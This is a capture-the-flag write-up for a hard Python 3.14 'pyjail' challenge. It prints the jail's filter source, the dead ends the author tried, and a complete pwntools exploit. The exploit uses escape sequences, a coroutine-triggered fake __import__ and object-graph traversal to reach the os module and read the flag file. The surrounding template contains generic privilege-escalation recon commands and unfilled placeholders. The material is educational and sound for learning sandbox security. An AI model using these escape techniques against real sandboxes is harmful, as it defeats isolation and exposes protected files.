build-a-builtin-revenge
build-a-builtin-revenge
Platform: B01Lersc | Category: Misc | Type: Challenge | Difficulty: Hard | OS: NA | Author: D3v0o0Nu11 | Date: 2026-04-18 | Status: Solved Techniques: async_import_trigger, escape_sequence_dot_bypass, exec_callback_injection, fileloader_globals_leak, object_graph_traversal
Summary
Task: a Python 3.14 pyjail forbids literal dots, 'import' and 'match' substrings, wipes builtins, and provides only set_builtin helper. Solution: use escape sequences to bypass filters, trigger import via async coroutine creation, inject exec callback to evaluate dotted code constructed with \x2e escapes, then traverse object graph to FileLoader globals for os module access.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
b01lersc| ID:20260418_b01lersc_build_a_builtin_revenge - Tags: pyjail, python, builtins, blacklist, coroutine, async, escape_sequence
- Indicators: literal '.' is blacklisted in raw input, substring 'import' is blacklisted in raw input, substring 'match' is blacklisted in raw input, builtins cleared but set_builtin helper available, exec globals contain saved exec function
- Source:
20260418_b01lersc_build_a_builtin_revenge.md
Foothold
Vulnerability / Misconfiguration
- Async_import_trigger
- Escape_sequence_dot_bypass
- Exec_callback_injection
- Fileloader_globals_leak
- Object_graph_traversal
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- async_import_trigger
- escape_sequence_dot_bypass
- exec_callback_injection
- fileloader_globals_leak
- object_graph_traversal
- Tags: pyjail, python, builtins, blacklist, coroutine, async, escape_sequence
Original Writeup
<details><summary>Click to expand original content</summary>Description
No separate organizer prompt was included; the challenge was distributed through the service source and Dockerfile.
This is the "revenge" version of build-a-builtin. The original challenge allowed dotless attribute access via from x import y syntax. The revenge version specifically blocks this by adding an "import" substring filter, creating what initially appears to be a perfect catch-22.
Challenge Summary
#!/usr/local/bin/python3
import builtins
code = input("code > ")
if "." in code:
print("Nuh uh")
exit(1)
if "import" in code or "match" in code:
print("Slopadoodledoo")
exit(1)
def set_builtin(key, val):
builtins.__dict__[key] = val
exec = exec
builtins.__dict__.clear()
exec(code, {"set_builtin": set_builtin}, {})
Key constraints:
- No literal dots in raw input
- No "import" substring in raw input (blocks
from x import y) - No "match" substring in raw input (blocks pattern matching)
- Builtins cleared — no
getattr,eval,exec,open, etc. - Only
set_builtin(key, val)available to write back into builtins - Flag path randomized as
/flag-<32hex>.txt
The critical observation: exec = exec saves the real exec function into the module globals BEFORE clearing builtins. This exec is accessible via set_builtin.__globals__["exec"].
Analysis
The Catch-22
We need exec to evaluate code containing dots. But exec is trapped in set_builtin.__globals__, and accessing .__globals__ requires:
- Dots (blocked)
from x import y(blocked — contains "import")getattr()(cleared)matchpatterns (blocked)
Dead Ends Explored
- Unicode dot alternatives — Fullwidth dot (U+FF0E), middle dot (U+00B7), etc. are either invalid Python syntax or normalize incorrectly
- Template strings (t-strings) — Can create Interpolation objects but extracting
.valuerequires dots - TypeAliasType —
type X = exprcreates lazy alias but.__value__requires dots - Annotation evaluation —
__annotate_func__returns strings, not evaluated code - Cell objects —
__classdictcell__is not subscriptable or iterable
The Breakthrough: Escape Sequences + Async Coroutines
Key insight 1: Escape sequences bypass raw string filters!
"__\x69mport__"="__import__"without "import" in raw input"\x2e"="."— we can construct strings containing dots
Key insight 2: Async coroutine creation triggers __import__!
async def f(): pass; C = f()creates a coroutine object- This internally calls
__import__("_asyncio", globals, locals, ...)or similar - Unlike generic classes (
class A[T]), this does NOT requiresys.modules['typing']
Key insight 3: The __import__ callback receives the exec globals dict!
globalsargument containsset_builtinfunction- More importantly,
globalscontains"exec"key pointing to the savedexecfunction! - We can access
a[1]["exec"]inside the callback (whereais*args)
The Exploit Chain
- Define fake
__import__using string-splitting to bypass filter:
set_builtin("__impo""rt__", i) # "import" not in raw input!
- Create callback that uses exec from globals:
def i(*a, p=stage):
a[1]["exec"](p, a[1]) # a[1] is globals dict, contains exec!
return 0
- Trigger import via async coroutine:
async def f():
pass
C = f() # Triggers __import__ callback!
- Stage string uses
\x2efor dots:
stage = r'"g=[c for c in (1)\x2e__class__\x2e__mro__[1]\x2e__subclasses__() ..."'
When this string is exec()ed, \x2e becomes real . characters!
- Object graph traversal to find FileLoader:
g = [c for c in (1).__class__.__mro__[1].__subclasses__()
if c.__name__ == 'FileLoader'][0].__init__.__globals__
FileLoader.__init__.__globals__ contains _os module!
- Read flag using os primitives:
p = [x for x in g['_os'].listdir('/') if x[:5] == 'flag-'][0]
fd = g['_os'].open('/' + p, 0)
b = g['_os'].read(fd, 4096)
g['_os'].write(1, b)
g['_os']._exit(0)
Solution
#!/usr/bin/env python3
from pwn import *
h, p = "build-a-builtin-revenge.opus4-7.b01le.rs", 8443
# Stage code with escaped dots - when exec'd, \x2e becomes real dots
stage = r'"g=[c for c in (1)\x2e__class__\x2e__mro__[1]\x2e__subclasses__() if c\x2e__name__==\'FileLoader\'][0]\x2e__init__\x2e__globals__\np=[x for x in g[\'_os\']\x2elistdir(\'/\') if x[:5]==\'flag-\'][0]\nfd=g[\'_os\']\x2eopen(\'/\'+p,0)\nb=g[\'_os\']\x2eread(fd,4096)\ng[\'_os\']\x2ewrite(1,b)\ng[\'_os\']\x2e_exit(0)"'
# Multiline payload using \r (carriage return parsed as newline)
x = "\r".join((
f"def i(*a,p={stage}):", # Fake __import__ with stage as default arg
' a[1]["exec"](p,a[1])', # a[1] is globals dict containing exec!
" return 0",
'set_builtin("__impo""rt__",i)', # String split bypasses "import" filter
"async def f():", # Async function definition
" pass",
"C=f()", # Creating coroutine triggers __import__!
)) + "\n"
io = remote(h, p, ssl=True)
io.recvuntil(b"code > ")
io.send(x)
print(io.recvall())
Why This Works
-
Filter bypass:
"__impo""rt__"concatenates to"__import__"at runtime, but raw input doesn't contain "import" substring -
Async import trigger: Unlike generic classes that need
typingmodule, async coroutine creation triggers a simpler import path that our fake__import__can intercept -
Exec from callback globals: The callback receives the exec globals dict as
a[1], which contains the savedexecfunction fromexec = execbefore the clear -
Escape sequence evaluation: The stage string contains
\x2ewhich is just the characters\,x,2,ein the raw payload. Whenexec()runs this string, Python's string parser converts\x2eto actual.characters -
FileLoader gadget:
importlib._bootstrap_external.FileLoaderis a Python class whose__init__.__globals__contains_os— a reference to theosmodule
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR